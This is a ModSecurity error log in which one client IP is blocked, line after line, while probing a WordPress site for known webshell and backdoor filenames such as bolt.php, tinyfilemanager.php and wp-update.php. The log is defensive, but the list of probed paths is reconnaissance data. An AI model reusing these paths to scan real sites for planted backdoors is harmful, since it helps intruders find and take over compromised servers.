[Tue Apr 14 22:02:05.580306 2026] [:error] [pid 59986:tid 60024] [client 20.188.36.87:13356] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "ad5I3Z6axKeW6bX4H7eVFQAAAEQ"]
[Tue Apr 14 22:02:06.051331 2026] [:error] [pid 3810:tid 3824] [client 20.188.36.87:13351] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "ad5I3sqc5XaYZhFXVGe5FAAAAYs"]
[Tue Apr 14 22:02:06.522932 2026] [:error] [pid 59986:tid 60036] [client 20.188.36.87:13418] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "ad5I3p6axKeW6bX4H7eVFwAAAFA"]
[Tue Apr 14 22:02:06.994960 2026] [:error] [pid 3778:tid 3792] [client 20.188.36.87:13527] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "ad5I3hx5DfpNmYF_PaH3TAAAAUw"]
[Tue Apr 14 22:02:07.467950 2026] [:error] [pid 22177:tid 22198] [client 20.188.36.87:13366] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "ad5I34TVeJSXHDIlEDuRpAAAARM"]
[Tue Apr 14 22:02:07.940878 2026] [:error] [pid 22177:tid 22199] [client 20.188.36.87:11238] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/style.php"] [unique_id "ad5I34TVeJSXHDIlEDuRpQAAARQ"]
[Tue Apr 14 22:02:08.412891 2026] [:error] [pid 60074:tid 60099] [client 20.188.36.87:13396] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/style.php"] [unique_id "ad5I4OtqnEmNU9vpHCm03QAAANc"]
[Tue Apr 14 22:02:08.882189 2026] [:error] [pid 22177:tid 22192] [client 20.188.36.87:13498] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/style.php"] [unique_id "ad5I4ITVeJSXHDIlEDuRpwAAAQ0"]
[Tue Apr 14 22:02:09.352255 2026] [:error] [pid 3810:tid 3823] [client 20.188.36.87:13317] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/style.php"] [unique_id "ad5I4cqc5XaYZhFXVGe5HQAAAYo"]
[Tue Apr 14 22:02:09.822950 2026] [:error] [pid 59986:tid 60024] [client 20.188.36.87:13438] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "ad5I4Z6axKeW6bX4H7eVGwAAAEQ"]
[Tue Apr 14 22:02:10.294854 2026] [:error] [pid 3810:tid 3822] [client 20.188.36.87:13337] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "ad5I4sqc5XaYZhFXVGe5HwAAAYk"]
[Tue Apr 14 22:02:10.766521 2026] [:error] [pid 59985:tid 60005] [client 20.188.36.87:13439] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "ad5I4ugHaxkvLE6V1klsXAAAAAw"]
[Tue Apr 14 22:02:11.240443 2026] [:error] [pid 3810:tid 3836] [client 20.188.36.87:13415] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "ad5I48qc5XaYZhFXVGe5IgAAAZc"]
[Tue Apr 14 22:02:11.709973 2026] [:error] [pid 3778:tid 3804] [client 20.188.36.87:13365] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "ad5I4xx5DfpNmYF_PaH3TwAAAVg"]
[Tue Apr 14 22:02:12.180692 2026] [:error] [pid 59987:tid 60058] [client 20.188.36.87:13412] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "ad5I5FWpk-Tfi6_vLKpBzQAAAIs"]
[Tue Apr 14 22:02:12.651962 2026] [:error] [pid 59986:tid 60028] [client 20.188.36.87:13436] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "ad5I5J6axKeW6bX4H7eVIwAAAEg"]
[Tue Apr 14 22:02:13.130272 2026] [:error] [pid 59986:tid 60035] [client 20.188.36.87:11228] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "ad5I5Z6axKeW6bX4H7eVJAAAAE8"]
[Tue Apr 14 22:02:13.600021 2026] [:error] [pid 3810:tid 3827] [client 20.188.36.87:11233] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad5I5cqc5XaYZhFXVGe5JgAAAY4"]
[Tue Apr 14 22:02:14.069483 2026] [:error] [pid 3778:tid 3801] [client 20.188.36.87:13503] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad5I5hx5DfpNmYF_PaH3VAAAAVU"]
[Tue Apr 14 22:02:14.540054 2026] [:error] [pid 59986:tid 60034] [client 20.188.36.87:13327] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad5I5p6axKeW6bX4H7eVKAAAAE4"]
[Tue Apr 14 22:02:15.012487 2026] [:error] [pid 59986:tid 60039] [client 20.188.36.87:13335] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad5I556axKeW6bX4H7eVKgAAAFM"]
[Tue Apr 14 22:02:15.483680 2026] [:error] [pid 59987:tid 60069] [client 20.188.36.87:13433] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bless4.php"] [unique_id "ad5I51Wpk-Tfi6_vLKpB0wAAAJY"]
[Tue Apr 14 22:02:15.954140 2026] [:error] [pid 3778:tid 3796] [client 20.188.36.87:13378] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bless4.php"] [unique_id "ad5I5xx5DfpNmYF_PaH3VgAAAVA"]
[Tue Apr 14 22:02:16.427058 2026] [:error] [pid 3810:tid 3834] [client 20.188.36.87:13341] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bless4.php"] [unique_id "ad5I6Mqc5XaYZhFXVGe5JwAAAZU"]
[Tue Apr 14 22:02:16.897846 2026] [:error] [pid 3810:tid 3822] [client 20.188.36.87:13316] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bless4.php"] [unique_id "ad5I6Mqc5XaYZhFXVGe5KAAAAYk"]
[Tue Apr 14 22:02:17.368603 2026] [:error] [pid 3810:tid 3832] [client 20.188.36.87:13364] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "ad5I6cqc5XaYZhFXVGe5KgAAAZM"]
[Tue Apr 14 22:02:17.839208 2026] [:error] [pid 59986:tid 60036] [client 20.188.36.87:13362] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "ad5I6Z6axKeW6bX4H7eVLwAAAFA"]
[Tue Apr 14 22:02:18.309792 2026] [:error] [pid 59986:tid 60035] [client 20.188.36.87:13340] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "ad5I6p6axKeW6bX4H7eVMgAAAE8"]
[Tue Apr 14 22:02:18.781215 2026] [:error] [pid 3810:tid 3837] [client 20.188.36.87:13518] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "ad5I6sqc5XaYZhFXVGe5LgAAAZg"]
[Tue Apr 14 22:02:19.253972 2026] [:error] [pid 3778:tid 3802] [client 20.188.36.87:13426] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xqq.php"] [unique_id "ad5I6xx5DfpNmYF_PaH3WgAAAVY"]
[Tue Apr 14 22:02:19.725915 2026] [:error] [pid 22177:tid 22190] [client 20.188.36.87:11259] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xqq.php"] [unique_id "ad5I64TVeJSXHDIlEDuRrwAAAQs"]
[Tue Apr 14 22:02:20.196780 2026] [:error] [pid 60074:tid 60090] [client 20.188.36.87:13463] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xqq.php"] [unique_id "ad5I7OtqnEmNU9vpHCm04QAAAM4"]
[Tue Apr 14 22:02:20.667406 2026] [:error] [pid 59985:tid 60000] [client 20.188.36.87:13417] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xqq.php"] [unique_id "ad5I7OgHaxkvLE6V1klsYgAAAAc"]
[Tue Apr 14 22:02:21.138597 2026] [:error] [pid 59987:tid 60052] [client 20.188.36.87:13409] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plss3.php"] [unique_id "ad5I7VWpk-Tfi6_vLKpB2AAAAIU"]
[Tue Apr 14 22:02:21.608889 2026] [:error] [pid 22177:tid 22200] [client 20.188.36.87:13313] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plss3.php"] [unique_id "ad5I7YTVeJSXHDIlEDuRsgAAARU"]
[Tue Apr 14 22:02:22.079891 2026] [:error] [pid 59987:tid 60058] [client 20.188.36.87:11146] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plss3.php"] [unique_id "ad5I7lWpk-Tfi6_vLKpB2QAAAIs"]
[Tue Apr 14 22:02:22.549686 2026] [:error] [pid 60074:tid 60084] [client 20.188.36.87:13359] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plss3.php"] [unique_id "ad5I7utqnEmNU9vpHCm05AAAAMg"]
[Tue Apr 14 22:02:23.020869 2026] [:error] [pid 59986:tid 60035] [client 20.188.36.87:13338] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "ad5I756axKeW6bX4H7eVOgAAAE8"]
[Tue Apr 14 22:02:23.492810 2026] [:error] [pid 3810:tid 3835] [client 20.188.36.87:13312] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "ad5I78qc5XaYZhFXVGe5MgAAAZY"]
[Tue Apr 14 22:02:23.964411 2026] [:error] [pid 59985:tid 59999] [client 20.188.36.87:11244] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "ad5I7-gHaxkvLE6V1klsZAAAAAY"]
[Tue Apr 14 22:02:24.436136 2026] [:error] [pid 59986:tid 60032] [client 20.188.36.87:13355] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "ad5I8J6axKeW6bX4H7eVRgAAAEw"]
[Tue Apr 14 22:02:24.906829 2026] [:error] [pid 59986:tid 60037] [client 20.188.36.87:13488] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "ad5I8J6axKeW6bX4H7eVSAAAAFE"]
[Tue Apr 14 22:02:25.378446 2026] [:error] [pid 3778:tid 3792] [client 20.188.36.87:13330] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "ad5I8Rx5DfpNmYF_PaH3ZgAAAUw"]
[Tue Apr 14 22:02:25.850408 2026] [:error] [pid 3778:tid 3785] [client 20.188.36.87:13534] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "ad5I8Rx5DfpNmYF_PaH3aAAAAUU"]
[Tue Apr 14 22:02:26.327542 2026] [:error] [pid 59985:tid 60005] [client 20.188.36.87:13492] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "ad5I8ugHaxkvLE6V1klsZQAAAAw"]
[Tue Apr 14 22:02:26.798813 2026] [:error] [pid 22177:tid 22194] [client 20.188.36.87:11208] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "ad5I8oTVeJSXHDIlEDuRtQAAAQ8"]
[Tue Apr 14 22:02:27.270405 2026] [:error] [pid 59986:tid 60029] [client 20.188.36.87:13353] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "ad5I856axKeW6bX4H7eVSwAAAEk"]
[Tue Apr 14 22:02:27.740930 2026] [:error] [pid 59986:tid 60039] [client 20.188.36.87:11211] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "ad5I856axKeW6bX4H7eVTAAAAFM"]
[Tue Apr 14 22:02:28.212652 2026] [:error] [pid 3810:tid 3836] [client 20.188.36.87:13358] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "ad5I9Mqc5XaYZhFXVGe5NwAAAZc"]
[Tue Apr 14 22:02:28.691737 2026] [:error] [pid 59985:tid 60015] [client 20.188.36.87:11220] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "ad5I9OgHaxkvLE6V1klsaAAAABY"]
[Tue Apr 14 22:02:29.162211 2026] [:error] [pid 22177:tid 22203] [client 20.188.36.87:11138] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "ad5I9YTVeJSXHDIlEDuRuAAAARg"]
[Tue Apr 14 22:02:29.643483 2026] [:error] [pid 59985:tid 59998] [client 20.188.36.87:13322] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "ad5I9egHaxkvLE6V1klsaQAAAAU"]
[Tue Apr 14 22:02:30.114250 2026] [:error] [pid 59986:tid 60027] [client 20.188.36.87:13357] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "ad5I9p6axKeW6bX4H7eVTwAAAEc"]
[Tue Apr 14 22:02:30.585798 2026] [:error] [pid 59986:tid 60023] [client 20.188.36.87:11200] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-update.php"] [unique_id "ad5I9p6axKeW6bX4H7eVVQAAAEM"]
[Tue Apr 14 22:02:31.064380 2026] [:error] [pid 3810:tid 3815] [client 20.188.36.87:13348] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-update.php"] [unique_id "ad5I98qc5XaYZhFXVGe5OQAAAYI"]
